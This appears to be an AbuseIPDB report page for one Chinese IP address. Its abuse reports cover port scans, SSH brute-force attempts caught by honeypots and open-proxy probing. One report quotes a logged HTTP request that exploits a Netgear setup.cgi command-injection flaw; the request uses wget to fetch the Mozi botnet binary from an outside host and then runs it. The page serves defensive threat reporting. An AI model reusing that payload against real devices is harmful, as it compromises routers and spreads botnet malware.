JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 113.95.136.74

113.95.136.74 was found in our database!

This IP was reported 21 times. Confidence of Abuse is 78%: ?

78%

ISP	CHINANET Guangdong province network
Usage Type	Fixed Line ISP
ASN	AS4134
Domain Name	chinatelecom.cn
Country	🇨🇳 China
City	Shenzhen, Guangdong

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 113.95.136.74

Whois 113.95.136.74

IP Abuse Reports for 113.95.136.74:

This IP address has been reported a total of 21 times from 15 distinct sources. 113.95.136.74 was first reported on June 23rd 2026, and the most recent report was 1 day ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 xserverx.ru	2026-07-11 21:39:17 (1 day ago)	[UFW SCAN!!!!] SRC=113.95.136.74 LEN=40 TOS=0x00 PREC=0x00 TTL=37 PROTO=TCP SPT=18339 DPT=23 WINDOW= ... show more [UFW SCAN!!!!] SRC=113.95.136.74 LEN=40 TOS=0x00 PREC=0x00 TTL=37 PROTO=TCP SPT=18339 DPT=23 WINDOW=4903 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇫🇷 rayn.lol	2026-07-11 19:50:41 (1 day ago)	Honeypot: cowrie SSH brute-force login as 'root'/'klv123' from 113.95.136.74 at 2026-07-11T19:50:41. ... show more Honeypot: cowrie SSH brute-force login as 'root'/'klv123' from 113.95.136.74 at 2026-07-11T19:50:41.029452Z show less	Brute-Force SSH
🇯🇵 demonsword	2026-07-11 08:20:08 (2 days ago)	Detected by SentinelX honeypot: sent HTTP CONNECT request probing for an open proxy. Connection was ... show more Detected by SentinelX honeypot: sent HTTP CONNECT request probing for an open proxy. Connection was hijacked and held in a tarpit to slow down the scan. Probed target: httpbin.org:443 show less	Open Proxy Port Scan
🇫🇷 rayn.lol	2026-07-10 19:48:20 (2 days ago)	Honeypot: cowrie SSH brute-force login as 'root'/'Pon521' from 113.95.136.74 at 2026-07-10T19:48:20. ... show more Honeypot: cowrie SSH brute-force login as 'root'/'Pon521' from 113.95.136.74 at 2026-07-10T19:48:20.631610Z show less	Brute-Force SSH
🇦🇹 urnilxfgbez	2026-07-09 22:45:00 (3 days ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇫🇷 rayn.lol	2026-07-09 19:48:18 (3 days ago)	Honeypot: cowrie SSH brute-force login as 'root'/'user' from 113.95.136.74 at 2026-07-09T19:48:18.04 ... show more Honeypot: cowrie SSH brute-force login as 'root'/'user' from 113.95.136.74 at 2026-07-09T19:48:18.047766Z show less	Brute-Force SSH
🇺🇸 MPL	2026-07-09 18:34:38 (3 days ago)	tcp/23 (2 or more attempts)	Port Scan
🇯🇵 demonsword	2026-07-08 13:13:10 (4 days ago)	Detected by SentinelX honeypot: sent HTTP CONNECT request probing for an open proxy. Connection was ... show more Detected by SentinelX honeypot: sent HTTP CONNECT request probing for an open proxy. Connection was hijacked and held in a tarpit to slow down the scan. Probed target: httpbin.org:443 show less	Open Proxy Port Scan
🇯🇵 SentinalX by uzumaru	2026-07-07 03:01:01 (6 days ago)	Detected by SentinelX honeypot: sent HTTP CONNECT request probing for an open proxy. Connection was ... show more Detected by SentinelX honeypot: sent HTTP CONNECT request probing for an open proxy. Connection was hijacked and held in a tarpit to slow down the scan. Probed target: httpbin.org:443 show less	Open Proxy Port Scan
🇺🇸 cybsecaoccol	2026-07-06 22:46:17 (6 days ago)	unauthorized connection or malicious port scan attempted on tcp port - corp	Port Scan Hacking
🇦🇹 urnilxfgbez	2026-07-06 22:45:00 (6 days ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇯🇵 demonsword	2026-07-06 08:57:37 (1 week ago)	Detected by SentinelX honeypot: sent HTTP CONNECT request probing for an open proxy. Connection was ... show more Detected by SentinelX honeypot: sent HTTP CONNECT request probing for an open proxy. Connection was hijacked and held in a tarpit to slow down the scan. Probed target: httpbin.org:443 show less	Open Proxy Port Scan
🇺🇸 xmission.com	2026-07-04 22:27:19 (1 week ago)	Blocked by UFW (TCP on 23) Source port: 19086 TTL: 45 Packet length: 40 TOS: 0x00 This report (for ... show more Blocked by UFW (TCP on 23) Source port: 19086 TTL: 45 Packet length: 40 TOS: 0x00 This report (for 113.95.136.74) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
Anonymous	2026-07-04 18:33:35 (1 week ago)	Unauthorized connection attempt on Port 23	Port Scan Hacking Exploited Host
🇩🇪 london2038.com	2026-07-03 21:54:54 (1 week ago)	Possible botnet zombie, targetting router/IoT vulnerabilities 113.95.136.74 - - [03/Jul/2026:23:54:4 ... show more Possible botnet zombie, targetting router/IoT vulnerabilities 113.95.136.74 - - [03/Jul/2026:23:54:45 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://220.152.181.164:37169/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 421 173 "-" "-" show less	Hacking Exploited Host

Showing 1 to 15 of 21 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 185.180.141.39

🇹🇭 202.29.232.119

🇪🇸 91.142.222.105

🇺🇸 68.183.125.250

🇺🇸 68.69.177.101

🇸🇬 43.106.48.23

🇺🇸 2604:a880:2:d1:0:1:6aba:d001

🇹🇭 182.53.207.106

🇧🇷 179.216.16.184

🇵🇱 176.53.159.197

🇺🇸 147.182.246.240

🇵🇰 119.152.229.116

🇸🇬 47.79.11.249

🇸🇬 43.98.186.79

🇭🇰 31.77.149.66

🇰🇷 1.255.171.167

🇹🇹 190.58.30.98

🇳🇱 91.92.40.14

🇳🇱 85.11.167.7

🇸🇬 47.82.55.24